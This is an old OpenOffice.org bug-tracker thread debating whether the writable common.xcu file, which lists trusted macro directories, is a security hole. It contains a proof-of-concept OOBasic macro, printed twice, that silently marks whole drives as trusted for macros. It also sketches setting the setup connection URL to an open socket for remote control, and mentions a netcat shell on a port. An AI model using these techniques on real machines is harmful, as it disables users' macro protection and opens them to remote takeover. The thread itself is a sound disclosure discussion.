Issue 18860 - Macro Security can be exploited
Summary: Macro Security can be exploited
Alias: None
Product: General
Classification: Code
Component: code (show other issues)
Version: OOo 1.1 RC3
Hardware: PC All
: P3 Trivial with 10 votes (vote)
Target Milestone: AOO Later
Assignee: maison.godard
QA Contact: issues@framework
Keywords: oooqa
Depends on:
Reported: 2003-08-31 17:38 UTC by maison.godard
Modified: 2008-11-07 08:32 UTC (History)
8 users (show)

See Also:
Issue Type: DEFECT
Latest Confirmation in: ---
Developer Difficulty: ---


Note You need to log in before you can comment on or make changes to this issue.
Description maison.godard 2003-08-31 17:38:28 UTC
I discovered that the security warning for macros can be disbled and all 
directories considered as trusted

Win2k OO1.1RC3 FR
The trusted directory list is written as plain text in the 
This file is not protected

I wrote a macro (but could be any language) that add permissions to drives c: 
to g: (my disks ;-)) to execute macro
After restarting OOo (+quickstarter) all files are not checked against macro 
As OOBasic is so powerfull, it can destroy a lot of users data if a second 
macro runs (eg: autostart ...)

I hope it will be fixed as soon as possible

Feel free to ask for more details


*** the macro ***
'it is rough only to show the problem
'path can be retreived easily from API
sub DangerSecurite

open "C:\Program Files\Applications\OOO\1.1RC3
\user\registry\data\org\openoffice\Office\common.xcu2" for output as #2

open "C:\Program Files\Applications\OOO\1.1RC3
\user\registry\data\org\openoffice\Office\common.xcu" for input as #1

while not eof(1)
	line input #1,ligne
	print #2, ligne
	if instr(ligne,"<prop oor:name=""SecureURL"" oor:type=""oor:string-
list"">")<>0 then
		line input #1, ligne
		chaine=left(ligne,i)+"file:///c:/ file:///d:/ file:///e:/ 
file:///f:/ file:///g:/ "+mid(ligne,i+1)
		print #2, chaine

close #1
close #2

filecopy  "C:\Program Files\Applications\OOO\1.1RC3
\user\registry\data\org\openoffice\Office\common.xcu2", "C:\Program 

msgbox "fin"

end sub
Comment 1 2003-08-31 18:22:04 UTC
adding me to cc
Best - Sophie
Comment 2 stephan.wunderlich 2003-09-01 10:39:35 UTC
The users needs to give your macro the right to execute, and without
knowing what a macro does this shouldn't be done anyway.

You speak of a possible second macro to be executed afterwards, why
should the creator of a trojan wait for a second macro he could
destroy lots of things directly with his first macro.

I think the user is responsable to only execute macro that are stated
as secure or he knows what they do respectively.

Maybe one could think about a 'certificate' mechanism to restrict the
"normal" usage of macros, but that seems to me more like an RFE then a
Comment 3 maison.godard 2003-09-01 11:06:03 UTC
Hi stefan,

sorry i don't agree
As explained, security settings can be changed outside OOo, 
independantly of OOBasic and macros
This is a first level simple and discret attack

The second level is providing a document containing an auto start 
macro or an hidden trojan, letting do what we want along the time

why will trojan creator wait ? who knows ? wait for a wide infection 
to synchronize an attack on OOo servers ;-))

for the certificate, i agree
Nevertheless this P1 generates an RFE ok
But this flow remains a critical issue and should be treated as this


Comment 4 ooo 2003-09-02 07:58:57 UTC
And how do you make the macro execute which changes the settings?  If
somebody is already able to execute unpreotected code on your machine
then your machine IS ALREADY exploitet.   Then nothing helps anymore.
 This script could even patch OOo itself and then OOo executes malicid
code.  Here only TCPA help (but I don't want it anyway).

Anyway, macro execution is a feature of the framework, not the API. 
The Api is just used.  Thus, if you really have an exploit, please
report it to the framework team.

As Stephan Wunderlich already said, I don't accept this issue.  
Comment 5 ooo 2003-09-02 07:59:29 UTC
giving back to issuer
Comment 6 maison.godard 2003-09-02 08:31:59 UTC
As Mickael stated, redirect Issue to framework ...

I think it is under-estimated
a small discret malicious code can give permissions
a second massive attack can then be performmed

Macro based tools are developping (see DicOOo, Vocabulary from Paolo 
Montovani, style-copier and Facturier from @picnet society ... ) + 
the ability to use them as add-ons

But this report is not related especially to macros. It is only a way 
I used to show the problem. The Secutity configuration file is 
accessible and not protected and can be modified without any warning

You can easily imagine different way of using this issue (e: for 
outlook users a worm that changes these OOo rights. Then an attached 
file containing destructive actions. This is dangerous as OOo is 
considered as more secure than other Office tools)

do you need a real example, a wide massive "test" on users to see the 
problem ? If needed i can spend some hours on it ...

i hope my paranoia will not hurt you. I do think OOo is a great tool 
promised to a bright futur. But if users can't be confident in it, 
the success will transform as a disaster : "Why should we change ? it 
has the same problems than others ! We can not trust it concerning 
security ..." 
Once the exploit will be used for the first time, it will be too late 
and OOo community will have to spend lots of energy to fight about 
this image ...

Comment 7 maison.godard 2003-09-02 08:59:55 UTC
Change status to remove Invalid
Will be the last time i do it ...

Comment 8 Martin Hollmichel 2003-09-02 14:35:30 UTC
mh->kr: can please take a look and resolve the conflict ? :).
Comment 9 maison.godard 2003-09-09 12:45:59 UTC

I found the same defect for java settings as the java.xcu is in 
\user\registry\data\org\openoffice\Office and is not protected

 <node oor:name="VirtualMachine">
  <prop oor:name="NetAccess" oor:type="xs:int">
  <prop oor:name="UserClassPath" oor:type="xs:string">

this XML code can be modified without any warning to user allowing 
improper (dangerous?) use of OOo

Configuration files in share/registry/... are a bit more protected as 
it needs rights to be modified. Not impossible though
for common.xcs, java.xcs

ooo really should have a security builtin feature for these files

Comment 10 kay.ramme 2003-09-09 14:58:55 UTC
Laurent, if I get you right, you are saying, that a virus with
read/write access to the SO configuration can change the configuration
to allow other macros etc. to be executed. As Michael already pointed
out, to have read/write access the virus must already be running,
which basically implies, that the virus can execute anything it wants
anyway. So, protecting the configuration wouldn't help at all, as the
virus can overwrite them anyway. Or did I get you wrong? What do you
suggest should we do?
Comment 11 maison.godard 2003-09-09 16:29:05 UTC
Thanks for your response
Basically, you caught my point
I agree with you that if a virus can modify OOO configuarion files at 
one moment, it can at this moment do what he wants ... The way he 
does it is my macro code snippet.
As tools as add-ons are more and more developped, such a code could 
be included easally as a trojan

Nevertheless, i thought about other possibilities
- open a gap for further less discret infections
- one of this could be a general DoS against a server, synchronized 
over all "infected" computers
- modifying the SetupConnectionURL (in share ... common.xcs) could 
allow remote access

well its perharps paranoia !!

For solution, it's difficult (and my knowledge is very very low)
It has to be simple enough so that users can deal with it
For config files modification:
- coming from inside OOo
as OOO caches registry, it can detect on close if secutity 
configuration has changed and asks for confirmation validated with an 
admin passphrase
- coming from outside
OOO stores a hash of secutity settings of previous session and checks 
against the new version

all of this done with cryptography with public and private key ???

I think it is a defect and if someone wants to hurt, 
it can do it TOO easely

Thanks again for your interrest
As you're now aware of it, i won't insist anymore and help if needed

Comment 12 maison.godard 2003-09-09 17:10:15 UTC
OOps, you obviously have to read

Thanks again for your interrest
As you're now aware of it, i won't insist anymore and will help if 

Comment 13 utomo99 2003-09-12 09:45:31 UTC
I think we need to take this problem seriously. 
otherwise this problem can be as worst as VBA problem in MS Office. 

If Sun people didnt believe about this problem maybe you can make
simple macro to do something just for demonstration
Comment 14 matthias.huetsch 2003-09-15 10:59:46 UTC
Adding myself to CC ...
Comment 15 matthias.mueller-prove 2003-09-15 16:44:46 UTC
add mmp to cc
Comment 16 frank 2003-10-08 09:26:11 UTC
adding myself to CC list
Comment 17 richlv 2003-10-08 09:32:38 UTC
i think this issue should be treated as a possible attack vector. ie had one non-
critical vuln, oe had one, blah, virus.

there are several possible ways to lessen 
danger, most already mentioned :
1. warn user if file contents are changed (don't 
know, keep some sort of encrypted & password protected checkum somewhere ?)
2. if a 
macro itself is trying to modify these files user is explicitly asked for permission.
Comment 18 maison.godard 2003-10-08 09:55:13 UTC
Totally agree with previous comment

perharps an md5 representation of security settings coded with an 
admin passphrase
On change ask the passphrase to validate 

just my two cents

Comment 19 pavel 2003-10-08 12:06:50 UTC
This issue is non-sense.

If you can modify files, there are many more interesting files then
OOo configuration...

So this particular problem is of course invalid. On the other hand we
should think about making the security setting more fine-grained.


- allow local file system access
- allow network connections

... etc.
Comment 20 kay.ramme 2003-10-08 12:29:24 UTC
All, I am still not convinced of this issue (also had private
discussions regarding this with Matthias Huetsch and Mathias Bauer).
To make this request valid, please list applications providing support
against agressors with full file system access and please name the
techniques they use. 

Comment 21 maison.godard 2003-10-08 13:46:55 UTC
Hi Pavel, Hi Kay

Well, you stated that this issue is non-sense
The first goal of my post was to point out this potential problem
According to you there's no problem and nothing has to be done
Great again

Kay, You asked for software providing support against agressors : 
what about Microsoft Office ? ......... ;-)

Well, as i reported you the problem I definitivelly feel free to 
build a 2 waves attack against OOo

I'll let you know by posting the results (a log URL) on this Issue


Comment 22 pavel 2003-10-08 15:48:53 UTC

it is not that easy as you wrote and noone took that like you wrote.
Please read my post again. I wrote:

   > So this particular problem is of course invalid. On the other hand
   > we should think about making the security setting more
   > fine-grained.

I think we can make OOo secure by inventing that fine-grained security

Could you provide an application that:

a. has *full* access to local files
b. does not allow writing or changing some files
c. is secure in your point of view?

I do not know an application that fulfils all those rules...
Comment 23 kay.ramme 2003-10-13 09:12:10 UTC
Laurent, you named MS office having support against agressors with
full filesystem access. What does it look like?
Comment 24 maison.godard 2003-10-13 09:22:34 UTC
Hi Kay,
Sorry, it was a bad joke (see smiley)

i wanted to point out that it is not because other office suites 
doesn't care about security that OOo should too

I agree that the problem is not simple but i think that some efforts 
has to be done to prevent script kiddies (as i consider myself) for 
playing with OOo security settings

security handling should be an argument for OOo against MS

Comment 25 kay.ramme 2003-10-16 11:06:57 UTC
Laurent, I give this back to you, please come back to me, if you have
found some sample applications, which can protect themselfs against an
full rights aggressor, so that we can evaluate them and see, what we
can copy. 
Comment 26 maison.godard 2003-11-11 12:40:45 UTC

Why not use public/private key concepts to validate secutity related 
settings ?
Let me know on which ML we can discuss as i don't think IZ is a good 
place for discussion
(I don't want to reproduce #1820 ;-))

a bit disappointed that nothing about this is stated on Q concepts


Comment 27 pavel 2003-11-11 17:03:27 UTC
What is the connection between validating security settings and the
fact that there is no application that can secure itself against the
one who has full access to it?

It is nonsense to use public/private key when the attacker can change
public and *also* private key, because he has full access to both of
Comment 28 apicnet 2003-11-13 13:09:32 UTC
*** This issue has been confirmed by popular vote. ***
Comment 29 frank 2003-11-13 14:05:33 UTC
removing myself from CC list
Comment 30 vuillod 2003-11-13 15:28:01 UTC
MSO users are protrected by many antivirus programs. 
I know a security representative of Peugeot (French car 
manufacturer) who told me that OOo was declared as a non secure 
Is it possible to prevent users from using any macros? 
Comment 31 justinclift 2004-01-11 07:31:16 UTC

This issue looks like it was more of a reaction at finding out that the
configuration file can be changed, than something that should be addressed at a
high priority.

Now, while it's understandable that it's not nice to be able to fool OOo into
believing that any Macro on the planet is trusted... in order to do that
fooling, it looks like the PC in questions has to be compromised *already*, and
therefore abusing OOo is just a side affect, not an attack vector.

Kind of like saying "we found that we could modify the Java executable runtime
to actually allow applets on remote web pages to do local filesystem changes". 
Whilst that would be interesting, it still needs the system to be broken into
first in order to modify the local filesystem (the Java executable in this case).

And if someone can break into and modify the local filesystem first... then
heck, they could just modify the OOo executable itself to circumvent *any*
protection that's been put in place.

From this point of view, marking this issue as invalid/not valid is the correct

Does this made sense?

Regards and best wishes,

Justin Clift
Comment 32 maison.godard 2004-01-11 07:51:18 UTC
Hi Justin,

Technically speaking I almost agree with you

For the end-user point of view, if some bad effects occurs on its PC through 
OOo, it will be OOO's responsability and not himself bad security aspects 

Once a worm/virus will occur, let us cry ...

I give up

Comment 33 maison.godard 2004-01-11 08:38:50 UTC
Hi again,

I come back to just let you know that i conducted some more tests

- the common.xcu is the one of stored in USER personnal datas
So security is compromised just for this user 
Great !!

The vector ? Any file containing a macro and accepted by user
No big deep hack of the PC. Just some social engineering ....

Moreover, what about these settings in java.xcu
 <node oor:name="VirtualMachine">
  <prop oor:name="NetAccess" oor:type="xs:int">
  <prop oor:name="UserClassPath" oor:type="xs:string">

 I attach an other version of the lacro (i'm not proud of it, it has been 
written in 2 minutes)


Comment 34 maison.godard 2004-01-11 08:40:14 UTC
my awfull macro
sorry for te readiness
sub DangerSecurite


chemin="C:\Documents and Settings\laurent\Application Data\OpenOffice.org1.1.0


open file2 for output as #2

open file1 for input as #1
while ligne<>finXml
	line input #1,ligne
	if ligne<>finXML then
	print #2, ligne
		if instr(ligne,"<prop oor:name=""SecureURL"" 
oor:type=""oor:string-list"">")<>0 then
			line input #1, ligne
			chaine=left(ligne,i)+"file:///c:/ file:///d:/ "+mid
			print #2, chaine

if not okTrouve then

 print #2,"<node oor:name=""Security"">"
  print #2,"<node oor:name=""Scripting"">"
  print #2," <prop oor:name=""SecureURL"" oor:type=""oor:string-list"">"
   print #2," <value>file:///c:/ file:///d:/ file:///e:/ file:///f:/ 
  print #2," </prop>"
 print #2," </node>"
print #2," </node>"

print #2, finXML

close #1
close #2

filecopy  file2, file1

msgbox "End of story"

end sub
Comment 35 maison.godard 2004-01-26 12:58:07 UTC
Hi all,

well sorry for the noise :) I don't have much time know but promise to come 
back to devs asap

I know that dev are looking at that but here is an other way to compromise OOo

No special rights needed (user rights is perfect)
The purpose is to fill the SetupConnectionURL in the 
user\registry\data\org\openoffice\Setup.xcu file

The macro is the same i gave, only file and string written in it changed

print #2,"<prop oor:name=""ooSetupConnectionURL"" oor:type=""xs:string"">"
print #2,"<value>socket,host=,port=8100;urp;</value>"
print #2,"</prop>"

Obviously, it works even i put the real IP and not localhost (verified with 
telnet on a local network)

Consequencies (Destroying any user data is not funny enough)

- lead to remotly crash OOo if telnet - already known
- remotly control the user PC through OOo API, enabling, for eg
  - generalized DDoS on a target
  - grab all files readable by user
  - ...

Coupled to the previous weakness of allowed macro path i think it is a serious 
drawback ...

solution (only to make things a little bit harder):
add the finalize attribute by default in the setupConnectionURL node located 
in share/registry\data\org\openoffice\Setup.xcu
If the user did a "correct" installation regarding rights, it will protect 
against this modification

i leave, as promised before, the resolution status as ... INVALID


Comment 36 pavel 2004-01-26 16:43:56 UTC
Laurent, when you already have user right for such user, why to use OOo to gain

You can use simple netcat and put bash on some port...

No need to hack OOo BASIC.

And now you do not use OOo and only have simple script that launches netcat with
bash on some TCP port.

Where is the security issue? bash? netcat? System? User?
Comment 37 maison.godard 2004-05-11 12:40:42 UTC
Changing Target to OOoLater 
Will have a look of changes implemented in 680 branch 
remember an easy setting to do to make things a little bit harder 
add the finalize attribute to the node SetupConnectionURL in 
Comment 38 christianjunker 2005-07-09 08:21:46 UTC
this is not anywhere near P1, lowered to P3.
Comment 39 utomo99 2006-10-31 09:59:12 UTC
is this still exist or can we close it ? 
Comment 40 jorritlinnert 2008-05-12 19:54:36 UTC
Good to see that the Java library mentioned does not allow for normal user to
become root/ Administrator.

>The trusted directory list is written as plain text in the 
>This file is not protected

I see no problem with that as long as it cannot be altered by scripts run by

@pjanik: Most people running Windows are still running users with administrative
rights to run normal programs. This is of course far from secure.
Still, we are not living in Utopia. It is a reality that developers need to take
in account when designing security in any program that allows for scripted
file-access. These people mentioned above make up the majority of your userbase.

Any scripted change to the internal configuration files of OOo, especially the
entries concerning application security should be classified as possible threat
and dealt with accordingly. The suggested Administrator password method seems a
bit unfriendly for normal users who tend to forget the Administrator password.
A normal [OK, Cancel]-dialog clearly stating what file is about to be modified,
(not accessible by any scripts) would suffice here.
The decision of the user should be recorded locally, not in the file itself.
The same security should also be applied for scripted linking of the current
document to another file with write access to that file.

You claim that it makes no sense to provide any security if the File System is
already wide open.
Most applications I run don't allow for *scripted* changes to files without User
 Interaction, except for the document that the user is currently working on.
Read-access can pose some security threat, but Write access can prove fatal if
left unchecked.

As you may have noticed, my emphasis lies on *scripted* access, direct write
access to the File System without any confirmation required from the user.
Comment 41 Mechtilde 2008-11-07 06:49:27 UTC
Comment 42 Mechtilde 2008-11-07 08:31:41 UTC
to cancel my last change I set to invalid again
Comment 43 Mechtilde 2008-11-07 08:32:30 UTC
then -> close